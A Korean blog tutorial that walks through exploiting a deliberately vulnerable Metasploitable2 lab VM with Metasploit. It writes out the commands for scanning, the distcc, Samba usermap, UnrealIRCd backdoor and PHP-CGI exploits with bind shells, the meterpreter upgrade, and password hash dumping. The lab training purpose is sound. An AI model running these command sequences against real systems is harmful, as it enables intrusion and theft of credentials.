본문 바로가기

전공 공부/리눅스 보안 실습

유닉스/리눅스 기반의 운영체제 침투하기(메타스플로잇터블)

728x90

이 글은 교육목적으로 작성하는 것으로 절대 타인의 컴퓨터에 공격을 해서는 안됩니다.

범죄 행위이고 처벌을 받을 수 있습니다.

모든 해킹 행위는 자기 자신에게 책임이 있습니다.

 

제 블로그는 불법적인 해킹 행위를 권장하거나 유도하지 않습니다. 오로지 테스트 및 연습 목적으로 읽어주시면 감사하겠습니다.

 

이 글에서는 유닉스/리눅스 기반에 직접 침투를 해보도록 하겠습니다. 

 

처음 침투를 위해서는 침투할 서버의 네트워크에 대해 조사를 해야 됩니다. 

nmap을 이용하여 

 

msfconsole 을 실행시킨 다음 

db_nmap -sT sV -O 192.168.196.142

명령어를 이용해 데이터 베이스 저장해줍니다. (허가되지 않은 서버의 포트 스캔은 불법입니다.)

 

-sT: TCP연결을 이용한 스캔(TCP 포트)

-sV: 서버 포트의 버전 표시(VERSION)

-O: OS 식별

 

이와 같이 nmap을 이용하면 기본적으로 침투할 서버의 포트별 버전과 서버 os 종류를 알 수 있습니다. 이를 이용해 패치가 되지 않은 버전이면, 해커가 확인한 후 충분히 버전이 맞는 취약점을 공격할 수 있기 때문에 항상 최신 버전을 유지해야 합니다.

 

 

distcc를 이용한 침투

distcc로 서버와 클라이언트 기반으로 분산 컴파일을 할 수 있는 도구입니다. 이를 이용해서 침투를 해보겠습니다.

 

https://en.wikipedia.org/wiki/Distcc

 

distcc - Wikipedia

In software development, distcc is a tool for speeding up compilation of source code by using distributed computing over a computer network. With the right configuration, distcc can dramatically reduce a project's compilation time.[3] It is designed to wor

en.wikipedia.org

 

일단 해당 포트에 대해서 필터링을 해보면 필터가 되어 있어서 자세히 알 수는 없습니다. 하지만 테스트로 사용한 메타스폴로잇터블2 서버는 해당 취약점이 존재하므로 침투 테스트를 해보겠습니다.

 

show options 

여러 옵션들을 볼 수 있습니다.

 

 

use exploit/unix/misc/distcc_exec
set payload cmd/unix/bind_ruby
set rhost 192.168.196.142
exploit

삼바 취약점 중에서 유닉스 계열의 misc 취약점 중에서 distcc_exec 모듈을 사용해서 침투하겠다는 뜻입니다.

커맨드로 유닉스계열 운영체제에 루비 언어 기반의 통신 방식을 bind로 하겠다는 뜻입니다.

bind 쉘 방식이기 때문에 공격자가 접속할 피해자의 ip 주소만 적어 주면 됩니다.

만약 reverse 방식이라면 피해자가 다시 접속할 ip 주소도 적어 주어야 합니다. 

 

간단한 명령어는 사용할 수 있지만 쉘 커맨드로 할 수 있는 명령이 제한적이라, 좀 더 많은 방식으로 명령어를 사용할 수 있게 shell_to_meterpreter 방식으로 변경 훈 진행하겠습니다.

 

키보드의 컨트롤 + Z 를 눌러 백그라운드로 보낸 다음 

sessions -l 

세션 리스트를 확인하면 현재 정상적으로 id 1번으로 세션이 유지되고 있는 것을 확인할 수 있습니다.

 

이제 단순한 명령쉘(cmd)을 meterpreter 방식으로 업그레이드하였습니다. 

use multi/manage/shell_to_meterpreter 
set session 1 
exploit

세션 유닉스 쉘이 연결되어 있는 세션id 1로 세팅한 후 exploit을 하면 shell을 meterpreter로 업그레이드할 수 있습니다.

 

 

sessions -l 을 하면 새롭게 id 2가 생긴 것을 볼 수 있습니다. meterpreter로 세션이 연결되어 있음을 확인할 수 있습니다.

 

 

sessions 2 

를 이용해 연결되어 있는 세션의 인터렉티브 모드로 접근할 수 있습니다.

 

 

help 명령어를 치면 아까 쉘커맨드에 접속했을 때 보다 훨씬 많은 명령어들을 조작할 수 있게 된 것을 확인할 수 있습니다.

 

 

삼바(samba) 서비스를 이용한 침투

 

맨 처음 포트 스캔을 한 것을 다시보면, 139 TCP 포트와 445 TCP 포트로 samba 서비스가 열려 있는 것을 확인할 수 있습니다.

 

msfconsole
search samba 

samba에 대해 침투할 수 있는 모듈들을 볼 수 있습니다. 이중에서 exploit/multi/samba/uisermap_script를 사용하여 유저네임 맵 스크립트로 커맨드 실행을 해보도록 하겠습니다.  2007년에 밝혀진 공격입니다.

 

 

use exploit/multi/samba/usermap_script
set payload cmd/unix/bind_ruby
set rhost 192.168.196.142
exploit

삼바 취약점 중에서 usermap_script 모듈을 사용해서 침투하겠다는 뜻입니다.

cmd, 즉 커맨드로 유닉스계열 운영체제에 루비 언어 기반의 통신 방식을 bind로 하겠다는 뜻입니다.

bind 쉘 방식이기 때문에 공격자가 접속할 피해자의 ip 주소만 적어 주면 됩니다.

 

접속하면 기본적인 명령어가 가능합니다. 이제 meterpreter로 업그레이드를 해보겠습니다.

 

아까와 같은 방식으로 기존의 커맨드라인은 백그라운드로 보낸 뒤 session을 확인한 다음 원하는 세션을 meterpreter로  정상적으로 업그레이드가 적용된 것을 볼 수 있습니다.

 

 

meterpreter로 업그레이드를 해보았으니 몇 가지 명령어를 통해 서버 정보를 수집해 보겠습니다..

 

https://www.offensive-security.com/metasploit-unleashed/linux-post-gather-modules/

 

Linux Post Gather Modules

Certified Pentesting Expert OSCE course starting at $1200 USD Take Cracking the Perimeter to take your penetration testing skills to expert levels and earn your OSCE.

www.offensive-security.com

리눅스 포스트 수집 모듈을 사용하여 진행하였습니다.

 

 

run post/linux/gather/enum_network

The enum_network module gathers network information from the target system IPTables rules, interfaces, wireless information, open and listening ports, active network connections, DNS information and SSH information.

 

ip테이블 룰, 인터페이스, 무선정보, 열려있는 포트, 활성화된 네트워크 연결 정보, DNS 정보, SSH 정보를 볼 수 있습니다.

 

Network 설정 파일을 칼리리눅스에 저장을 하는데, 이 파일을 열어보면 피해자 pc의 네트워크 정보가 파일로 저장되어 있는 것을 확인할 수 있습니다.

 

 

 

 

run post/linux/gather/enum_protections

여러 보안 소프트웨어의 실행 여부나 특정 파일들이 존재하는지 확인 할 수 있습니다. ASLR이 활성화되어 있고 방화벽과 iptables 등 파일들이 존재하고 있는 것을 확인할 수 있습니다.

 

 

 

run post/linux/gather/hashdump

서버내에 존재하는 계정들에 대해 패스워드의 hash 정보도 얻을 수 있습니다.  이 또한 칼리 리눅스에 저장되는 것을 확인할 수 있습니다.

 

 

irc 서비스를 이용한 침투

irc은 인터넷 릴레이 챗의 약자로, 실시간 채팅프로토콜 입니다. unreal_ircd_3281_backdoor 모듈을 이용해서 백도어 커맨드 쉘을 실행시켜 보겠습니다.

 

exploit/unix/irc/unreal_ircd_3281_backdoor을 사용한 하겠다고 한 뒤 페이로드는 커맨드로 유닉스 계열을 위한 ruby 언어로 바인드 방식을 설정한 뒤 연결 한 뒤 세션을 meterpreter로 업그레이드를 하였습니다.

 

 

web 서비스를 이용한 침투(PHP 취약점)

 

침투를 하기전에 web이 어떤 프로그램 버전으로 되어 있는지 알아봐야 합니다. 왜냐하면 web에 설치된 프로그램의 버전을 알면 그 버전에 맞는 취약점으로 공격을 할 수 있기 때문입니다.

whatweb 192.168.196.142 명령어를 이용해 공격할 아이피가 가지고 있는 프로그램의 버전들을 확인해 보았습니다.

 

 

이 중에서 php 5.2.4 미만의 취약점을 공격 할 수 있는 php_cgi_arg_injection 모듈을 활용하여 침투해보겠습니다.

PHP CGI의 전달인자 삽입 공격이라고 설명하고 있습니다.

 

마찬가지로 사용방법 또한 간단합니다.

이번에는 payload 를 bind_ruby가 아니라 php/bind_php로 바꾸는 것 외에는 같은 방법으로 meterpreter로 업그레이드를 할 수 있습니다.

 

 

 

ls 명령어를 치면 현재 php코드가 위치해 있는 /var/www로 접속되어 있는 것을 확인할 수 있습니다.

존재하는 php 소스코드를 변형 시켜서 웹사이트가 악의적인 행동을 할 수 있게 충분히 만들 수 있을 것입니다.

 

 

728x90